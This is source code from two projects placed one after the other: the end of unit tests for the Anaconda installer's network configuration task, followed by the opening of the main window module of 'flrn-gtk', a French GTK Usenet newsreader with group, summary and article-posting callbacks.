mocked_kernel_args = {'ifname': "ens3f0:00:15:17:96:75:0a ens3f1:00:15:17:96:75:0b"}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.ifname_option_values,
["ens3f0:00:15:17:96:75:0a", "ens3f1:00:15:17:96:75:0b"]
)
mocked_kernel_args = {}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.ifname_option_values,
["ens3f0:00:15:17:96:75:0a", "ens3f1:00:15:17:96:75:0b"]
)
mocked_kernel_args = {'ifname': "bla bla"}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertEqual(
self.network_module.ifname_option_values,
["bla", "bla"]
)
def apply_boot_options_test(self):
"""Test _apply_boot_options for multiple options."""
self.assertListEqual(
[
self.network_module.bootif,
self.network_module.ifname_option_values,
self.network_module.disable_ipv6,
self.network_module.default_device_specification,
],
[
None,
[],
False,
DEFAULT_DEVICE_SPECIFICATION,
]
)
mocked_kernel_args = {
'something_else': None,
'ifname': 'ens3f0:00:15:17:96:75:0a ens3f1:00:15:17:96:75:0b',
'something': 'completely_else',
'BOOTIF': '01-f4-ce-46-2c-44-7a',
'noipv6': None,
'ksdevice': 'ens11',
}
self.network_module._apply_boot_options(mocked_kernel_args)
self.assertListEqual(
[
self.network_module.bootif,
self.network_module.ifname_option_values,
self.network_module.disable_ipv6,
self.network_module.default_device_specification,
],
[
"F4:CE:46:2C:44:7A",
["ens3f0:00:15:17:96:75:0a", "ens3f1:00:15:17:96:75:0b"],
True,
"ens11",
]
)
class InstallationTaskTestCase(unittest.TestCase):
def setUp(self):
# The source files are not in "/" but in the mocked root path, which we need
# to use on the target as well
self._mocked_root = tempfile.mkdtemp(prefix="network-installation-test")
self._target_root = os.path.join(self._mocked_root, "mnt/sysimage")
self._target_mocked_root = os.path.join(self._target_root, self._mocked_root.lstrip("/"))
# Directories of conifiguration files
# Will be created as existing or not in tests
self._sysconf_dir = os.path.dirname(NetworkInstallationTask.SYSCONF_NETWORK_FILE_PATH)
self._sysctl_dir = os.path.dirname(NetworkInstallationTask.ANACONDA_SYSCTL_FILE_PATH)
self._resolv_conf_dir = os.path.dirname(NetworkInstallationTask.RESOLV_CONF_FILE_PATH)
self._network_scripts_dir = NetworkInstallationTask.NETWORK_SCRIPTS_DIR_PATH
self._nm_syscons_dir = NetworkInstallationTask.NM_SYSTEM_CONNECTIONS_DIR_PATH
self._systemd_network_dir = NetworkInstallationTask.SYSTEMD_NETWORK_CONFIG_DIR
self._dhclient_dir = os.path.dirname(NetworkInstallationTask.DHCLIENT_FILE_TEMPLATE)
def _create_config_dirs(self, installer_dirs, target_system_dirs):
for config_dir in installer_dirs:
os.makedirs(os.path.join(self._mocked_root, config_dir.lstrip("/")), exist_ok=True)
for config_dir in target_system_dirs:
os.makedirs(
os.path.join(self._target_mocked_root, config_dir.lstrip("/")),
exist_ok=True
)
def tearDown(self):
shutil.rmtree(self._mocked_root)
def _dump_config_files(self, conf_dir, files_list):
for file_name, content in files_list:
content = dedent(content).strip()
mocked_conf_dir = os.path.join(self._mocked_root, conf_dir.lstrip("/"))
with open(os.path.join(mocked_conf_dir, file_name), "w") as f:
f.write(content)
def _dump_config_files_in_target(self, conf_dir, files_list):
for file_name, content in files_list:
content = dedent(content).strip()
mocked_conf_dir = os.path.join(self._target_mocked_root, conf_dir.lstrip("/"))
with open(os.path.join(mocked_conf_dir, file_name), "w") as f:
f.write(content)
def _check_config_file(self, conf_dir, file_name, expected_content):
expected_content = dedent(expected_content).strip()
mocked_conf_dir = os.path.join(self._target_mocked_root, conf_dir.lstrip("/"))
with open(os.path.join(mocked_conf_dir, file_name), "r") as f:
content = f.read().strip()
self.assertEqual(content, expected_content)
def _check_config_file_does_not_exist(self, conf_dir, file_name):
mocked_conf_dir = os.path.join(self._target_mocked_root, conf_dir.lstrip("/"))
self.assertFalse(os.path.exists(os.path.join(mocked_conf_dir, file_name)))
def _mock_task_paths(self, task):
# Mock the paths in the task
task.SYSCONF_NETWORK_FILE_PATH = self._mocked_root + type(task).SYSCONF_NETWORK_FILE_PATH
task.ANACONDA_SYSCTL_FILE_PATH = self._mocked_root + type(task).ANACONDA_SYSCTL_FILE_PATH
task.RESOLV_CONF_FILE_PATH = self._mocked_root + type(task).RESOLV_CONF_FILE_PATH
task.NETWORK_SCRIPTS_DIR_PATH = self._mocked_root + type(task).NETWORK_SCRIPTS_DIR_PATH
task.NM_SYSTEM_CONNECTIONS_DIR_PATH = self._mocked_root + \
type(task).NM_SYSTEM_CONNECTIONS_DIR_PATH
task.DHCLIENT_FILE_TEMPLATE = self._mocked_root + type(task).DHCLIENT_FILE_TEMPLATE
task.SYSTEMD_NETWORK_CONFIG_DIR = self._mocked_root + type(task).SYSTEMD_NETWORK_CONFIG_DIR
def _create_all_expected_dirs(self):
# Create directories that are expected to be existing in installer
# environmant and on target system
self._create_config_dirs(
installer_dirs=[
self._sysconf_dir,
self._sysctl_dir,
self._resolv_conf_dir,
self._network_scripts_dir,
self._nm_syscons_dir,
self._systemd_network_dir,
self._dhclient_dir,
],
target_system_dirs=[
self._sysconf_dir,
self._sysctl_dir,
self._resolv_conf_dir,
self._network_scripts_dir,
self._nm_syscons_dir,
self._systemd_network_dir,
self._dhclient_dir,
]
)
def network_instalation_task_no_src_files_test(self):
"""Test the task for network installation with no src files."""
self._create_all_expected_dirs()
# Create files that will be copied from installer
# No files
# Create files existing on target system (could be used to test overwrite
# parameter.
# No files
# Create the task
task = NetworkInstallationTask(
sysroot=self._target_root,
disable_ipv6=True,
overwrite=True,
network_ifaces=["ens3", "ens7"],
ifname_option_values=["ens3:00:15:17:96:75:0a"],
# Perhaps does not make sense together with ifname option, but for
# test it is fine
configure_persistent_device_names=True,
)
self._mock_task_paths(task)
task.run()
# Check /etc/sysconfig/network was written by anaconda
self._check_config_file(
self._sysconf_dir,
"network",
"""
# Created by anaconda
"""
)
self._check_config_file(
self._sysctl_dir,
"anaconda.conf",
"""
# Anaconda disabling ipv6 (noipv6 option)
net.ipv6.conf.all.disable_ipv6=1
net.ipv6.conf.default.disable_ipv6=1
"""
)
def network_instalation_task_all_src_files_test(self):
"""Test the task for network installation with all src files available."""
self._create_all_expected_dirs()
# Create files that will be copied from installer
# All possible files
self._dump_config_files(
self._network_scripts_dir,
(
("ifcfg-ens3", "noesis"),
("ifcfg-ens7", "noema"),
("something-ens7", "res"),
("keys-ens7", "clavis"),
("route-ens7", "via"),
)
)
self._dump_config_files(
self._nm_syscons_dir,
(
("ens10.nmconnection", "content1"),
("ens11.nmconnection", "content2"),
("ens10.whatever", "content3"),
("whatever", "content4"),
)
)
self._dump_config_files(
self._dhclient_dir,
(
("dhclient-ens3.conf", "ens3conf"),
("dhclient-ens7.conf", "ens7conf"),
("file_that_shoudnt_be_copied.conf", "ens"),
)
)
self._dump_config_files(
self._sysconf_dir,
(("network", "Zeug"),)
)
self._dump_config_files(
self._resolv_conf_dir,
(("resolv.conf", "nomen"),)
)
self._dump_config_files(
self._systemd_network_dir,
(
("71-net-ifnames-prefix-XYZ", "bla"),
("70-shouldnt-be-copied", "blabla"),
)
)
# Create files existing on target system (could be used to test overwrite
# parameter.
# No files
# Create the task
task = NetworkInstallationTask(
sysroot=self._target_root,
disable_ipv6=True,
overwrite=True,
network_ifaces=["ens3", "ens7", "ens10", "ens11"],
ifname_option_values=["ens3:00:15:17:96:75:0a"],
# Perhaps does not make sense together with ifname option, but for
# test it is fine
configure_persistent_device_names=True,
)
self._mock_task_paths(task)
task.run()
# Check /etc/sysconfig/network was written by anaconda
self._check_config_file(
self._sysconf_dir,
"network",
"""
# Created by anaconda
"""
)
self._check_config_file(
self._sysctl_dir,
"anaconda.conf",
"""
# Anaconda disabling ipv6 (noipv6 option)
net.ipv6.conf.all.disable_ipv6=1
net.ipv6.conf.default.disable_ipv6=1
"""
)
self._check_config_file(
self._resolv_conf_dir,
"resolv.conf",
"""
nomen
"""
)
self._check_config_file(
self._network_scripts_dir,
"ifcfg-ens3",
"""
noesis
"""
)
self._check_config_file(
self._network_scripts_dir,
"ifcfg-ens7",
"""
noema
"""
)
self._check_config_file(
self._network_scripts_dir,
"keys-ens7",
"""
clavis
"""
)
self._check_config_file(
self._network_scripts_dir,
"route-ens7",
"""
via
"""
)
self._check_config_file_does_not_exist(
self._network_scripts_dir,
"something-ens7"
)
self._check_config_file(
self._dhclient_dir,
"dhclient-ens3.conf",
"""
ens3conf
"""
)
self._check_config_file(
self._dhclient_dir,
"dhclient-ens7.conf",
"""
ens7conf
"""
)
self._check_config_file(
self._nm_syscons_dir,
"ens10.nmconnection",
"""
content1
"""
)
self._check_config_file(
self._nm_syscons_dir,
"ens11.nmconnection",
"""
content2
"""
)
self._check_config_file(
self._nm_syscons_dir,
"ens10.whatever",
"""
content3
"""
)
self._check_config_file(
self._nm_syscons_dir,
"whatever",
"""
content4
"""
)
self._check_config_file_does_not_exist(
self._dhclient_dir,
"file_that_shoudnt_be_copied.conf"
)
self._check_config_file(
self._systemd_network_dir,
"71-net-ifnames-prefix-XYZ",
"""
bla
"""
)
content_template = NetworkInstallationTask.INTERFACE_RENAME_FILE_CONTENT_TEMPLATE
self._check_config_file(
self._systemd_network_dir,
"10-anaconda-ifname-ens3.link",
content_template.format("00:15:17:96:75:0a", "ens3")
)
self._check_config_file_does_not_exist(
self._systemd_network_dir,
"70-shouldnt-be-copied"
)
def _create_config_files_to_check_overwrite(self):
self._dump_config_files_in_target(
self._resolv_conf_dir,
(("resolv.conf", "original target system content"),)
)
self._dump_config_files_in_target(
self._sysconf_dir,
(("network", "original target system content"),)
)
self._dump_config_files_in_target(
self._systemd_network_dir,
(("10-anaconda-ifname-ens3.link", "original target system content"),)
)
self._dump_config_files_in_target(
self._network_scripts_dir,
(("ifcfg-ens3", "original target system content"),)
)
self._dump_config_files_in_target(
self._nm_syscons_dir,
(("ens10.nmconnection", "original target system content"),)
)
self._dump_config_files_in_target(
self._dhclient_dir,
(("dhclient-ens3.conf", "original target system content"),)
)
self._dump_config_files_in_target(
self._systemd_network_dir,
(("71-net-ifnames-prefix-XYZ", "original target system content"),)
)
self._dump_config_files(
self._resolv_conf_dir,
(("resolv.conf", "installer environment content"),)
)
self._dump_config_files(
self._network_scripts_dir,
(("ifcfg-ens3", "installer environment content"),)
)
self._dump_config_files(
self._nm_syscons_dir,
(("ens10.nmconnection", "installer environment content"),)
)
self._dump_config_files(
self._dhclient_dir,
(("dhclient-ens3.conf", "installer environment content"),)
)
self._dump_config_files(
self._systemd_network_dir,
(("71-net-ifnames-prefix-XYZ", "installer environment content"),)
)
def network_installation_task_overwrite_test(self):
"""Test the task for network installation with overwrite."""
self._create_all_expected_dirs()
self._create_config_files_to_check_overwrite()
task = NetworkInstallationTask(
sysroot=self._target_root,
disable_ipv6=False,
overwrite=True,
network_ifaces=["ens3", "ens7", "ens10"],
ifname_option_values=["ens3:00:15:17:96:75:0a"],
configure_persistent_device_names=False,
)
self._mock_task_paths(task)
task.run()
# Files that are created are overwritten
self._check_config_file(
self._sysconf_dir,
"network",
"""
# Created by anaconda
"""
)
content_template = NetworkInstallationTask.INTERFACE_RENAME_FILE_CONTENT_TEMPLATE
self._check_config_file(
self._systemd_network_dir,
"10-anaconda-ifname-ens3.link",
content_template.format("00:15:17:96:75:0a", "ens3")
)
# Files that are copied are not actually overwritten in spite of the
# task argument
self._check_config_file(
self._resolv_conf_dir,
"resolv.conf",
"""
original target system content
"""
)
self._check_config_file(
self._network_scripts_dir,
"ifcfg-ens3",
"""
original target system content
"""
)
self._check_config_file(
self._nm_syscons_dir,
"ens10.nmconnection",
"""
original target system content
"""
)
self._check_config_file(
self._dhclient_dir,
"dhclient-ens3.conf",
"""
original target system content
"""
)
self._check_config_file(
self._systemd_network_dir,
"71-net-ifnames-prefix-XYZ",
"""
original target system content
"""
)
def network_installation_task_no_overwrite_test(self):
"""Test the task for network installation with no overwrite."""
self._create_all_expected_dirs()
self._create_config_files_to_check_overwrite()
task = NetworkInstallationTask(
sysroot=self._target_root,
disable_ipv6=False,
overwrite=False,
network_ifaces=["ens3", "ens7"],
ifname_option_values=["ens3:00:15:17:96:75:0a"],
configure_persistent_device_names=False,
)
self._mock_task_paths(task)
task.run()
self._check_config_file(
self._sysconf_dir,
"network",
"""
original target system content
"""
)
self._check_config_file(
self._resolv_conf_dir,
"resolv.conf",
"""
original target system content
"""
)
self._check_config_file(
self._systemd_network_dir,
"10-anaconda-ifname-ens3.link",
"""
original target system content
"""
)
self._check_config_file(
self._network_scripts_dir,
"ifcfg-ens3",
"""
original target system content
"""
)
self._check_config_file(
self._nm_syscons_dir,
"ens10.nmconnection",
"""
original target system content
"""
)
self._check_config_file(
self._dhclient_dir,
"dhclient-ens3.conf",
"""
original target system content
"""
)
self._check_config_file(
self._systemd_network_dir,
"71-net-ifnames-prefix-XYZ",
"""
original target system content
"""
)
def disable_ipv6_on_system_no_dir_test(self):
"""Test disabling of ipv6 on system when target directory is missing."""
# Create the task
task = NetworkInstallationTask(
sysroot=self._target_root,
disable_ipv6=True,
overwrite=False,
network_ifaces=[],
ifname_option_values=[],
# Perhaps does not make sense together with ifname option, but for
# test it is fine
configure_persistent_device_names=False,
)
self._mock_task_paths(task)
with self.assertRaises(NetworkInstallationError):
task._disable_ipv6_on_system(self._target_root)
def network_instalation_task_missing_target_dir_test(self):
"""Test the task for network installation with missing target system directory."""
self._create_config_dirs(
installer_dirs=[
self._network_scripts_dir,
self._nm_syscons_dir,
self._systemd_network_dir,
],
target_system_dirs=[
self._sysconf_dir,
# target dir for prefixdevname is missing
# but it should be created by the task
]
)
self._dump_config_files(
self._systemd_network_dir,
(("71-net-ifnames-prefix-XYZ", "bla"),)
)
# Create the task
task = NetworkInstallationTask(
sysroot=self._target_root,
disable_ipv6=False,
overwrite=True,
network_ifaces=["ens3", "ens7"],
ifname_option_values=[],
configure_persistent_device_names=True,
)
self._mock_task_paths(task)
task.run()
self._check_config_file(
self._systemd_network_dir,
"71-net-ifnames-prefix-XYZ",
"""
bla
"""
)
| gpl-2.0 |
remyoudompheng/forum-gtk | lib/main_window.py | 1 | 40023 | #! /usr/bin/env python2.4
# -*- coding: utf-8 -*-
# Flrn-gtk: fenêtre principale
# Rémy Oudompheng, Noël 2005
import os
import sys
import time, re
import socket
# Modules GTK
import pygtk
pygtk.require('2.0')
import gtk
import gtk.gdk
import gobject
import pango
from tempfile import mkstemp
# Modules
from grp_buffer import *
import art_buffer
import nntp_io
import flrn_config
def remember_sep_height_callback(widget, spec):
pos = widget.get_property(spec.name)
if pos != widget.get_property("max-position"):
widget.set_data("last_position", pos)
return False
class SkelMainWindow:
# Callbacks
def select_group_callback(self, widget, data=None):
model, group = widget.get_selected()
if group:
# On vérifie que c'est un vrai groupe.
if model.get_value(group, GRP_COLUMN_ISREAL):
self.current_group = model.get_value(
group, GRP_COLUMN_NAME)
# Premier message non-lu
try:
first, last = self.conf.server.group_stats(
self.current_group)
except socket.error:
self.error_msgbox(u'Impossible de contacter le serveur')
self.action_quit_callback()
return
read = self.conf.groups[self.current_group]
if len(read) > 0 and read[0][0] == first:
first = read[0][-1] + 1
# S'il n'y a pas de nouveaux messages, autant afficher les derniers.
if first > last:
first = last - 20
# Pour éviter de devoir télécharger une overview géante
if last > first + 200:
self.action_overview_callback(None, [first, last])
return
self.summary_tab.display_tree(self.current_group, first, last)
self.panel_right.set_position(
self.panel_right.get_property("max_position"))
def editor_die_callback(self, event, widget, data):
data.window.destroy()
del data
# Menu Groupes
def action_grpgoto_callback(self, action):
# Boîte de sélection
dialog = gtk.Dialog(u'Aller dans un groupe',
self.window, gtk.DIALOG_MODAL,
(gtk.STOCK_OK, gtk.RESPONSE_OK,
gtk.STOCK_CLOSE, gtk.RESPONSE_DELETE_EVENT))
dialog.vbox.pack_start(gtk.Label("Choisissez un groupe"),
False, False, 5)
group_widget = GroupBuffer(self, dialog.vbox.pack_start)
group_widget.display_tree(True)
dialog.vbox.show_all()
dialog.set_default_size(400, 500)
dialog.user_data = None
# Récupération de la sélection
def get_user_entry(widget, resp_id):
if resp_id == gtk.RESPONSE_OK:
model, row = group_widget.widget.get_selection().get_selected()
if row:
# On vérifie que c'est un vrai groupe.
if model.get_value(row, GRP_COLUMN_ISREAL):
widget.user_data = model.get_value(
row, GRP_COLUMN_NAME)
dialog.connect("response", get_user_entry)
if dialog.run() == gtk.RESPONSE_OK:
if dialog.user_data:
self.current_group = dialog.user_data
# Premier message non-lu
first, last = self.conf.server.group_stats(self.current_group)
if ((len(self.conf.groups[self.current_group]) == 0)
or (self.conf.groups[self.current_group][0][0] > 1)):
first = 1
else:
first = self.conf.groups[self.current_group][0][-1] + 1
self.summary_tab.display_tree(self.current_group, first, last)
self.panel_right.set_position(
self.panel_right.get_property("max_position"))
dialog.destroy()
def action_subscribe_callback(self, action):
"""Affiche une boîte de dialogue pour gérer les abonnements"""
# Boîte de dialogue
dialog = gtk.Dialog(u'Gérer les abonnements aux groupes',
self.window, gtk.DIALOG_MODAL,
(gtk.STOCK_OK, gtk.RESPONSE_OK,
gtk.STOCK_CLOSE, gtk.RESPONSE_DELETE_EVENT))
dialog.vbox.pack_start(gtk.Label(
u"Cochez les groupes que vous souhaitez lire"), False, False, 5)
# Un arbre avec des cases à cocher
group_widget = GroupBuffer(self, dialog.vbox.pack_start, True)
group_widget.display_tree(True)
dialog.vbox.show_all()
dialog.set_default_size(400, 550)
# Récupération de la sélection
subscriptions = []
def mark_as_subscribed(model, path, iter, data):
if model.get_value(iter, GRP_COLUMN_ISREAL):
# C'est un vrai groupe
data.append(
(model.get_value(iter, GRP_COLUMN_NAME),
model.get_value(iter, GRP_COLUMN_SUBSCRIBED)))
def get_user_entry(widget, resp_id, data):
if resp_id == gtk.RESPONSE_OK:
treemodel = group_widget.widget.get_model()
treemodel.foreach(mark_as_subscribed, subscriptions)
dialog.connect("response", get_user_entry, subscriptions)
if dialog.run() == gtk.RESPONSE_OK:
# Enregistrement des abonnements
for g, sub in subscriptions:
if (g in self.conf.unsubscribed) and sub:
self.conf.subscribed.add(g)
self.conf.unsubscribed.remove(g)
if (g in self.conf.subscribed) and not(sub):
self.conf.unsubscribed.add(g)
self.conf.subscribed.remove(g)
# Mise à jour de l'affichage
self.conf.update_groupsize()
self.conf.update_unreads()
self.group_tab.display_tree(False)
dialog.destroy()
def action_syncgroups_callback(self, action):
self.conf.refresh_groups()
self.conf.update_groupsize()
self.group_tab.display_tree(False)
# Menu Sommaire
def action_sumgoto_callback(self, action):
if self.current_group:
vals = self.conf.server.group_stats(self.current_group)
if vals:
# Préparation de la boîte de dialogue
dialog = gtk.Dialog(u"Voir l'article numéro...",
self.window, gtk.DIALOG_MODAL,
(gtk.STOCK_OK, gtk.RESPONSE_OK))
step = int((vals[1] - vals[0]) / 5000) * 100 + 100
num_entry = gtk.SpinButton(
gtk.Adjustment(1, vals[0], vals[1], 1, step))
hbox = gtk.HBox()
hbox.pack_start(gtk.Label(u"Numéro de l'article "),
False, False, 0)
hbox.pack_start(num_entry, True, True, 0)
dialog.vbox.pack_start(
gtk.Label(u"Groupe : " + self.current_group),
False, False, 0)
dialog.vbox.pack_start(hbox, True, True, 0)
dialog.vbox.show_all()
# Récupération de la réponse
dialog.artno = None
def get_user_entry(widget, resp_id):
if resp_id == gtk.RESPONSE_OK:
widget.artno = num_entry.get_value_as_int()
return None
dialog.connect("response", get_user_entry)
if dialog.run() == gtk.RESPONSE_OK:
# Recherche du Message-ID
msgid = self.conf.server.get_by_artno(
self.current_group, dialog.artno)
if msgid:
self.article_tab.display_msgid(msgid)
else:
self.error_msgbox(u'Impossible de trouver le message '
+ self.current_group + ':' + str(dialog.artno))
dialog.destroy()
def action_overview_callback(self, action, default = None):
"""Affiche le sommaire entre deux numéros d'articles."""
if self.current_group:
vals = self.conf.server.group_stats(self.current_group)
if vals:
# Préparation de la boîte de dialogue
dialog = gtk.Dialog(u"Voir le sommaire du groupe",
self.window, gtk.DIALOG_MODAL,
(gtk.STOCK_OK, gtk.RESPONSE_OK))
if not(default): default = vals
step = int((vals[1] - vals[0]) / 5000) * 100 + 100
start_entry = gtk.SpinButton(
gtk.Adjustment(default[0], vals[0], vals[1], 1, step))
end_entry = gtk.SpinButton(
gtk.Adjustment(default[1], vals[0], vals[1], 1, step))
hbox = gtk.HBox()
hbox.pack_start(gtk.Label(u"Voir les numéros "),
False, False, 0)
hbox.pack_start(start_entry, True, True, 0)
hbox.pack_start(gtk.Label(u" à "), False, False, 0)
hbox.pack_start(end_entry, True, True, 0)
dialog.vbox.pack_start(
gtk.Label(u"Groupe : " + self.current_group),
False, False, 0)
dialog.vbox.pack_start(hbox, True, True, 0)
dialog.vbox.show_all()
# Récupération de la réponse
dialog.summary_range = None
def get_user_entry(widget, resp_id):
if resp_id == gtk.RESPONSE_OK:
widget.summary_range = [
start_entry.get_value_as_int(),
end_entry.get_value_as_int()]
return None
dialog.connect("response", get_user_entry)
if dialog.run() == gtk.RESPONSE_OK:
self.summary_tab.display_tree(
self.current_group,
min(dialog.summary_range),
max(dialog.summary_range))
self.panel_right.set_position(
self.panel_right.get_property("max_position"))
dialog.destroy()
else:
dialog = gtk.MessageDialog(
self.window, gtk.DIALOG_MODAL, gtk.MESSAGE_WARNING,
gtk.BUTTONS_CLOSE, u"Vous n'êtes dans aucun groupe. " +
u"Entrez dans un groupe (en double-cliquant dessus, par " +
u"exemple), et réessayez ensuite")
def action_nextunread_callback(self, action):
iter = self.summary_tab.current_node
while not(iter) or self.summary_tab.data.get_value(iter, 5):
# C'est lu, on passe à la suite
iter = self.summary_tab.get_next_row(iter)
if not(iter):
for g in self.conf.subscribed:
if self.conf.unreads[g] > 0 :
# Ah ! Des messages non lus !
self.current_group = g
path = self.group_tab.data.get_path(
self.group_tab.group2node[self.current_group])
self.group_tab.widget.scroll_to_cell(path)
# On y va
self.group_tab.widget.get_selection().select_path(path)
self.select_group_callback(
self.group_tab.widget.get_selection())
return
# Rien du tout, on met à jour le Group Buffer et les unreads
self.conf.update_groupsize()
self.group_tab.refresh_tree()
return
# On sélectionne le nœud en question
self.summary_tab.widget.get_selection().unselect_all()
self.summary_tab.widget.get_selection().select_iter(iter)
# Fonctions de (de|con)struction massive
def action_setreplies_callback(self, read):
root = None
if self.summary_tab.current_node:
root = self.summary_tab.current_node
elif self.summary_tab.widget.get_selection().get_selected()[1]:
root = self.summary_tab.widget.get_selection().get_selected()[1]
else:
root = self.summary_tab.data.get_iter_first()
if root:
self.summary_tab.set_replies_read(root, read)
def action_setthread_callback(self, read):
if read:
dialog = gtk.MessageDialog(
self.window, gtk.DIALOG_MODAL, gtk.MESSAGE_QUESTION,
gtk.BUTTONS_YES_NO, u'Attention : êtes-vous sûr(e) de vouloir'
u" marquer comme lus TOUS les messages ayant un ancêtre commun"
u" avec le message sélectionné ?")
else:
dialog = gtk.MessageDialog(
self.window, gtk.DIALOG_MODAL, gtk.MESSAGE_QUESTION,
gtk.BUTTONS_YES_NO, u'Attention : êtes-vous sûr(e) de vouloir'
u" marquer comme non lus TOUS les messages ayant un ancêtre"
u" commun avec le message sélectionné ?")
if dialog.run() == gtk.RESPONSE_YES:
# On cherche un message-cible
root = None
if self.summary_tab.current_node:
root = self.summary_tab.current_node
elif self.summary_tab.widget.get_selection().get_selected()[1]:
root = self.summary_tab.widget.get_selection().get_selected()[1]
else:
root = self.summary_tab.data.get_iter_first()
# On récupère l'ID de son ancêtre
ref = self.conf.server.get_article_by_msgid(
self.summary_tab.data.get_value(root, 0))
if 'References' in ref.headers:
msgid = ref.headers['References'].split()[0]
else:
msgid = ref.headers['Message-ID']
# On cherche les victimes parmi les éléments de profondeur 0
for i in xrange(self.summary_tab.data.iter_n_children(None)):
article = self.conf.server.get_article_by_msgid(
self.summary_tab.data.get_value(
self.summary_tab.data.iter_nth_child(None, i), 0))
if article.headers['Message-ID'] == msgid:
self.summary_tab.set_replies_read(
self.summary_tab.data.iter_nth_child(None, i), read)
continue
if 'References' in article.headers:
if msgid == article.headers['References'].split()[0]:
self.summary_tab.set_replies_read(
self.summary_tab.data.iter_nth_child(None, i), read)
dialog.destroy()
def action_killreplies_callback(self, action):
self.action_setreplies_callback(True)
return True
def action_killthread_callback(self, action):
self.action_setthread_callback(True)
return True
def action_unkillreplies_callback(self, action):
self.action_setreplies_callback(False)
return True
def action_unkillthread_callback(self, action):
self.action_setthread_callback(False)
return True
def action_savetreeasimage(self, action):
dialog = gtk.FileSelection("Fichier de destination")
dialog.set_filename("tree.png")
if (dialog.run() == gtk.RESPONSE_OK):
name = dialog.get_filename()
else: return
dialog.destroy()
width, height = self.tree_tab.pictsize
pixbuf = gtk.gdk.Pixbuf(gtk.gdk.COLORSPACE_RGB,
False, 8, width, height)
pixbuf.get_from_drawable(self.tree_tab.pixmap,
self.tree_tab.pixmap.get_colormap(),
0, 0, 0, 0, width, height)
pixbuf.save(name, "png")
# Menu Articles
def action_new_callback(self, action):
draft = nntp_io.Article()
draft.headers['From'] = self.conf.from_header
if self.current_group:
draft.headers['Newsgroups'] = self.current_group
else:
draft.headers['Newsgroups'] = ""
dialog = gtk.Dialog(u"Nouveau message",
self.window, gtk.DIALOG_MODAL,
(gtk.STOCK_CANCEL, gtk.RESPONSE_CANCEL,
gtk.STOCK_OK, gtk.RESPONSE_OK)
)
hbox = gtk.HBox(False, 8);
dialog.vbox.pack_start(hbox, False, False, 0)
hbox.pack_start(gtk.Label(u"Sujet :"), False, False, 0)
hbox.set_border_width(8);
subject_entry = gtk.Entry()
hbox.pack_start(subject_entry, True, True, 0)
hbox.show_all()
dialog.set_default_response(gtk.RESPONSE_OK)
dialog_ret = dialog.run()
subject = subject_entry.get_text()
dialog.destroy()
if(dialog_ret != gtk.RESPONSE_OK):
return
draft.headers['Subject'] = subject
editor = art_buffer.ArticleEditor(draft, self.conf)
editor.window.connect("delete_event",
self.editor_die_callback, editor)
editor.window.show_all()
def action_reply_callback(self, action):
if self.current_article:
original = self.conf.server.get_article_by_msgid(
self.current_article)
draft = self.conf.make_reply(original)
del original
editor = art_buffer.ArticleEditor(draft, self.conf)
editor.window.connect("delete_event",
self.editor_die_callback, editor)
editor.window.show_all()
def action_cancel_callback(self, action):
if self.current_article:
# On récupère l'original
original = self.conf.server.get_article_by_msgid(
self.current_article)
# Avertissement si on n'est pas sur la bonne machine
if original.headers['Sender'].strip() != self.conf.params['mail_addr']:
dialog = gtk.MessageDialog(
self.window, gtk.DIALOG_MODAL, gtk.MESSAGE_WARNING,
gtk.BUTTONS_CLOSE,
u"Attention ! Vous n'êtes peut-être pas autorisé à effacer ce message. Vérifiez que vous en êtes l'auteur et que vous vous trouvez sur la machine d'où ce message a été envoyé.")
dialog.run()
dialog.destroy()
# Confirmation
confirm = gtk.MessageDialog(
self.window, gtk.DIALOG_MODAL,
gtk.MESSAGE_QUESTION, gtk.BUTTONS_YES_NO,
u'Êtes-vous sûr de vouloir annuler ce message ?')
if (confirm.run() == gtk.RESPONSE_YES):
confirm.destroy()
# Préparation du message
cancel_msg = nntp_io.Article()
cancel_msg.headers['From'] = self.conf.from_header
cancel_msg.headers['Newsgroups'] = self.current_group
cancel_msg.headers['Subject'] = 'cancel'
cancel_msg.headers['Control'] = 'cancel ' + self.current_article
cancel_msg.body = self.conf.params['cancel_message'] + '\n'
# Enregistrement
f, tmpfile = mkstemp("", ".flrn.article.", os.path.expanduser("~"))
os.write(f, cancel_msg.to_raw_format(self.conf))
del cancel_msg
os.close(f)
f = open(tmpfile, 'r')
# Envoi
error = self.conf.server.post_article(f)
if error:
dialog = gtk.MessageDialog(
self.window, gtk.DIALOG_MODAL,
gtk.MESSAGE_ERROR, gtk.BUTTONS_CLOSE,
u'Erreur. Réponse du serveur : ' + error)
else:
dialog = gtk.MessageDialog(
self.window, gtk.DIALOG_MODAL, gtk.MESSAGE_INFO,
gtk.BUTTONS_OK, u'Message envoyé.')
dialog.run()
dialog.destroy()
f.close()
os.remove(tmpfile)
else:
confirm.destroy()
def action_supsede_callback(self, action):
if self.current_article:
# On récupère l'original
draft = self.conf.server.get_article_by_msgid(self.current_article)
# Avertissement si on n'est pas sur la bonne machine
if (draft.headers['Sender'].strip()
!= self.conf.params['mail_addr']):
dialog = gtk.MessageDialog(self.window,
gtk.DIALOG_MODAL, gtk.MESSAGE_WARNING, gtk.BUTTONS_CLOSE,
u"Attention ! Vous n'êtes peut-être pas autorisé à modifier ce message. Vérifiez que vous en êtes l'auteur et que vous vous trouvez sur la machine d'où ce message a été envoyé.")
dialog.run()
dialog.destroy()
# On met un Supersedes et on vire les headers spéciaux
draft.headers['Supersedes'] = self.current_article
for h in draft.headers.keys():
if h in self.conf.supersede_remove_headers:
del draft.headers[h]
editor = art_buffer.ArticleEditor(draft, self.conf)
editor.window.connect("delete_event",
self.editor_die_callback, editor)
editor.window.show_all()
def action_goto_parent_callback(self, action):
if self.current_article:
source = nntp_io.Article()
source.from_nntplib(
self.conf.server.get_by_msgid(self.current_article))
if source.headers.has_key('References'):
dest = source.headers['References'].split()[-1]
if not(self.article_tab.display_msgid(dest)):
self.error_msgbox(u'Impossible de trouver le message père')
return False
def action_msgidgoto_callback(self, action):
dialog = gtk.Dialog(u"Voir l'article correpondant à un Message-ID",
self.window, gtk.DIALOG_MODAL,
(gtk.STOCK_OK, gtk.RESPONSE_OK))
msgid_entry = gtk.Entry()
dialog.vbox.pack_start(gtk.Label(u"Entrez un Message-ID"),
False, False, 0)
dialog.vbox.pack_start(msgid_entry, False, False, 0)
dialog.vbox.show_all()
dialog.msgid = ""
def get_user_entry(widget, resp_id):
if resp_id == gtk.RESPONSE_OK:
widget.msgid = msgid_entry.get_text()
return None
dialog.connect("response", get_user_entry)
